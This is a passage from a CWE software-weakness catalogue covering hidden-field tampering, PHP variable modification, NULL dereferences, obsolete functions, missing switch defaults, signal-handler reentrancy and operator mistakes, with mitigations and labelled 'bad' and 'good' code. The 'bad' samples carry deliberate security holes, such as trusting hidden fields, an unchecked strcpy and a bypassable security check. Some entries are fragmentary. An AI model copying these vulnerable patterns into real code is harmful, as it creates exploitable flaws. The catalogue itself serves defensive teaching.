If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

Example Language: Java *(bad)*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

Example 2:

Hidden fields should not be trusted as secure parameters.

An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

Example Language: HTML *(bad)*

```
<input type="hidden"
```

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

Observed Examples

Reference	Description
CVE-2002-0108	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0108*

CWE-473: PHP External Variable Modification

Weakness ID : 473 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	999
PeerOf	V	616	Incomplete Identification of Uploaded File Variables (PHP)	1223
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Requirements

Phase: Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

Observed Examples

Reference	Description
CVE-2000-0860	File upload allows arbitrary file read by setting hidden form variables to match internal variable names. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0860*
CVE-2001-0854	Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0854*
CVE-2002-0764	PHP remote file inclusion by modified assumed-immutable variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0764*
CVE-2001-1025	Modify key variable when calling scripts that don't load a library that initializes it. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1025*
CVE-2003-0754	Authentication bypass by modifying array used for authentication. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0754*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Relationship

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID : 474 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code uses a function that has inconsistent implementations across operating systems and versions.

Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.
- The function might change which return codes it can provide, or change the meaning of its return codes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Notes

Other

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64

CWE-476: NULL Pointer Dereference

Weakness ID : 476 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

Extended Description

NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Weakness Ordinalities

Resultant : NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory *In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.*	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's

environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Effectiveness = Moderate

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Demonstrative Examples

Example 1:

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

Example Language: *(good)*

```
if (pointer1 != NULL) {
    /* make use of pointer1 */
    /* ... */
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
```

```
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference would then occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 3:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

Example Language: Java *(bad)*

```
String cmd = System.getProperty("cmd");
cmd = cmd.trim();
```

Example 4:

This application has registered to handle a URL when sent an intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

Reference	Description
CVE-2005-3274	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3274*

CWE-477: Use of Obsolete Function

Weakness ID : 477 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

- Advances in the language
- Improved understanding of how operations should be performed effectively and securely
- Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

Phase: Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

Demonstrative Examples

Example 1:

The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

Example Language: C *(bad)*

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
    cryptpw=strtok(pwdline, ":");
    pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

Example Language: Java *(bad)*

```
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

Example Language: Java *(bad)*

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

CWE-478: Missing Default Case in Switch Statement

Weakness ID : 478 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code does not have a default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.

Extended Description

This flaw represents a common problem in software development, in which not all possible values for a variable are considered or handled by a given process. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context Alter Execution Logic *Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.*	

Potential Mitigations

Phase: Implementation

Ensure that there are no unaccounted for cases, when adjusting flow or values based on the value of a given variable. In switch statements, this can be accomplished through the use of the default label.

Phase: Implementation

In the case of switch style statements, the very simple act of creating a default case can mitigate this situation, if done correctly. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

Demonstrative Examples

Example 1:

The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

Example Language: C *(bad)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
    case FAILED:
        printf("Security check failed!\n");
        exit(-1);
        //Break never reached because of exit()
        break;
    case PASSED:
        printf("Security check passed.\n");
        break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

Example Language: C *(good)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
    case FAILED:
        printf("Security check failed!\n");
        exit(-1);
        //Break never reached because of exit()
        break;
    case PASSED:
        printf("Security check passed.\n");
        break;
    default:
        printf("Unknown error (%d), exiting...\n",result);
        exit(-1);
}
```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

Example 2:

In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

Example Language: Java *(bad)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
    }
    return result;
}
```

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

Example Language: Java *(good)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            System.err.println("Returning null value for interest rate");
            result = null;
    }
    return result;
}
```

CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID : 479 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program defines a signal handler that calls a non-reentrant function.

Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1290

Nature	Type	ID	Name	Page
ChildOf	B	828	Signal Handler with Functionality that is not Asynchronous-Safe	1528
CanPrecede	B	123	Write-what-where Condition	296

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *It may be possible to execute arbitrary code through the use of a write-what-where condition.*	
Integrity	Modify Application Data *Signal race conditions often result in data corruption.*	

Potential Mitigations

Phase: Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

Phase: Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Phase: Implementation

Ensure that non-reentrant functions are not found in signal handlers.

Phase: Implementation

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In this example, a signal handler uses syslog() to log a message:

Example Language: *(bad)*

```
char *message;
void sh(int dummy) {
    syslog(LOG_NOTICE,"%s\n",message);
    sleep(10);
    exit(0);
}
int main(int argc,char* argv[]) {
    ...
    signal(SIGHUP,sh);
```

```
    signal(SIGTERM,sh);
    sleep(10);
    exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Observed Examples

Reference	Description
CVE-2005-0893	signal handler calls function that ultimately uses malloc() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0893*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2259*

CWE-480: Use of Incorrect Operator

Weakness ID : 480 **Status:** Draft

Structure : Simple
Abstraction : Base

Description

The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.

Extended Description

These types of errors are generally the result of a typo.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308
ParentOf	V	481	Assigning instead of Comparing	1026
ParentOf	V	482	Comparing instead of Assigning	1029
ParentOf	V	597	Use of Wrong Operator in String Comparison	1189

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(bad)*

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

Example Language: C# *(bad)*

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C *(bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

CWE-481: Assigning instead of Comparing

Weakness ID : 481 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for assignment when the intention was to perform a comparison.

Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Phase: Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will of course produce an error.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(bad)*

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

Example Language: C# *(bad)*

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

Example Language: C *(bad)*

```
void processString (char *str) {
    int i;
    for(i=0; i<strlen(str); i++) {
        if (isalnum(str[i])){
            processChar(str[i]);
        }
        else if (str[i] = ':') {
            movingToNewInput();}
        }
    }
}
```

Example 3:

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

Example Language: Java *(bad)*

```
public void checkValid(boolean isValid) {
    if (isValid = true) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

Example Language: Java *(good)*

```
public void checkValid(boolean isValid) {
    if (isValid) {
        System.out.println("Performing processing");
        doSomethingImportant();
```

```
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

Example Language: Java *(good)*

```
public void checkValid(boolean isValid) {
    if (!isValid) {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
    System.out.println("Performing processing");
    doSomethingImportant();
}
```

Example 4:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
void called(int foo){
    if (foo=1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

CWE-482: Comparing instead of Assigning

Weakness ID : 482 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for comparison when the intention was to perform an assignment.

Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1023

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State *The assignment will not take place, which should cause obvious program execution problems.*	

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
void called(int foo) {
    foo==1;
    if (foo==1) System.out.println("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

